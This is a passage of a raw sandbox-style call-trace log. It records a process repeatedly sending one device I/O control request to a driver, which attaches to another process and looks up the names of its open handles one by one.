lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.106] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.106] PsAcquireProcessExitSynchronization () returned 0x0 [0070.106] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.106] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800323d070, HandleInformation=0x0) returned 0x0 [0070.106] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.106] PsReleaseProcessExitSynchronization () returned 0x2 [0070.106] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.107] ObQueryNameString (in: Object=0xfffffa800323d070, ObjectNameInfo=0xfffffa8003998044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003998044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.107] ObfDereferenceObject (Object=0xfffffa800323d070) returned 0x2 [0070.107] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.107] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.107] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.107] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.107] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.107] PsAcquireProcessExitSynchronization () returned 0x0 [0070.107] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.107] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800323dc80, HandleInformation=0x0) returned 0x0 [0070.108] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.108] PsReleaseProcessExitSynchronization () returned 0x2 [0070.108] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.108] ObQueryNameString (in: Object=0xfffffa800323dc80, ObjectNameInfo=0xfffffa800399d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.108] ObfDereferenceObject (Object=0xfffffa800323dc80) returned 0x2 [0070.108] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.108] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.108] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.108] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0070.108] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.108] PsAcquireProcessExitSynchronization () returned 0x0 [0070.108] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.108] ObReferenceObjectByHandle (in: Handle=0x498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800323ecc0, HandleInformation=0x0) returned 0x0 [0070.115] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.115] PsReleaseProcessExitSynchronization () returned 0x2 [0070.115] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.115] ObQueryNameString (in: Object=0xfffffa800323ecc0, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.115] ObfDereferenceObject (Object=0xfffffa800323ecc0) returned 0x2 [0070.115] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.116] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.116] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.116] PsAcquireProcessExitSynchronization () returned 0x0 [0070.116] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.116] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6ea80, HandleInformation=0x0) returned 0x0 [0070.116] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.116] PsReleaseProcessExitSynchronization () returned 0x2 [0070.116] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.116] ObQueryNameString (in: Object=0xfffffa8002f6ea80, ObjectNameInfo=0xfffffa8003919044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003919044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.116] ObfDereferenceObject (Object=0xfffffa8002f6ea80) returned 0x2 [0070.116] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.116] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0070.116] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.116] PsAcquireProcessExitSynchronization () returned 0x0 [0070.116] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.116] ObReferenceObjectByHandle (in: Handle=0x4a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003247a30, HandleInformation=0x0) returned 0x0 [0070.116] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.116] PsReleaseProcessExitSynchronization () returned 0x2 [0070.116] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.116] ObQueryNameString (in: Object=0xfffffa8003247a30, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.116] ObfDereferenceObject (Object=0xfffffa8003247a30) returned 0x2 [0070.116] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.116] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.116] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.117] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.117] PsAcquireProcessExitSynchronization () returned 0x0 [0070.117] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.117] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032d1680, HandleInformation=0x0) returned 0x0 [0070.117] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.117] PsReleaseProcessExitSynchronization () returned 0x2 [0070.117] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.117] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.117] ObfDereferenceObject (Object=0xfffffa80032d1680) returned 0x1 [0070.117] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.117] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.117] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0070.117] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.117] PsAcquireProcessExitSynchronization () returned 0x0 [0070.117] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.117] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0070.117] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.117] PsReleaseProcessExitSynchronization () returned 0x2 [0070.117] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.117] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.117] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x2 [0070.117] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.117] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.117] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0070.117] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.117] PsAcquireProcessExitSynchronization () returned 0x0 [0070.117] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.118] ObReferenceObjectByHandle (in: Handle=0x50c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0070.118] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.118] PsReleaseProcessExitSynchronization () returned 0x2 [0070.118] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.118] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.118] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0070.118] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.118] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0070.118] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.118] PsAcquireProcessExitSynchronization () returned 0x0 [0070.118] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.118] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0070.118] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.118] PsReleaseProcessExitSynchronization () returned 0x2 [0070.118] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.118] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.118] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0070.118] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.118] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.118] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0070.118] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.118] PsAcquireProcessExitSynchronization () returned 0x0 [0070.118] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.118] ObReferenceObjectByHandle (in: Handle=0x518, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0070.118] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.118] PsReleaseProcessExitSynchronization () returned 0x2 [0070.118] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.118] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.119] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x2 [0070.119] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.119] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0070.119] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.119] PsAcquireProcessExitSynchronization () returned 0x0 [0070.119] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.119] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003414070, HandleInformation=0x0) returned 0x0 [0070.119] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.119] PsReleaseProcessExitSynchronization () returned 0x2 [0070.119] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.119] ObQueryNameString (in: Object=0xfffffa8003414070, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.119] ObfDereferenceObject (Object=0xfffffa8003414070) returned 0x3 [0070.119] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.119] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.119] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0070.119] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.119] PsAcquireProcessExitSynchronization () returned 0x0 [0070.119] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.119] ObReferenceObjectByHandle (in: Handle=0x698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003437350, HandleInformation=0x0) returned 0x0 [0070.119] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.119] PsReleaseProcessExitSynchronization () returned 0x2 [0070.119] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.119] ObQueryNameString (in: Object=0xfffffa8003437350, ObjectNameInfo=0xfffffa80039a7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.119] ObfDereferenceObject (Object=0xfffffa8003437350) returned 0x1 [0070.119] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.120] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.120] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0070.120] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.120] PsAcquireProcessExitSynchronization () returned 0x0 [0070.120] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.120] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f7dad0, HandleInformation=0x0) returned 0x0 [0070.120] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.120] PsReleaseProcessExitSynchronization () returned 0x2 [0070.120] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.120] ObQueryNameString (in: Object=0xfffffa8002f7dad0, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.120] ObfDereferenceObject (Object=0xfffffa8002f7dad0) returned 0x2 [0070.120] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.120] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.120] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0070.120] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.120] PsAcquireProcessExitSynchronization () returned 0x0 [0070.120] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.120] ObReferenceObjectByHandle (in: Handle=0x710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003436c70, HandleInformation=0x0) returned 0x0 [0070.120] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.120] PsReleaseProcessExitSynchronization () returned 0x2 [0070.120] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.120] ObQueryNameString (in: Object=0xfffffa8003436c70, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.120] ObfDereferenceObject (Object=0xfffffa8003436c70) returned 0x1 [0070.120] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.120] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.120] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0070.120] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.120] PsAcquireProcessExitSynchronization () returned 0x0 [0070.120] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.121] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003436f20, HandleInformation=0x0) returned 0x0 [0070.121] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.121] PsReleaseProcessExitSynchronization () returned 0x2 [0070.121] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.121] ObQueryNameString (in: Object=0xfffffa8003436f20, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.121] ObfDereferenceObject (Object=0xfffffa8003436f20) returned 0x1 [0070.121] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0070.121] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.121] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0070.121] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.121] PsAcquireProcessExitSynchronization () returned 0x0 [0070.121] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054f85d0) [0070.121] ObReferenceObjectByHandle (in: Handle=0x71c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003437510, HandleInformation=0x0) returned 0x0 [0070.121] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.121] PsReleaseProcessExitSynchronization () returned 0x2 [0070.121] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x210 [0070.121] 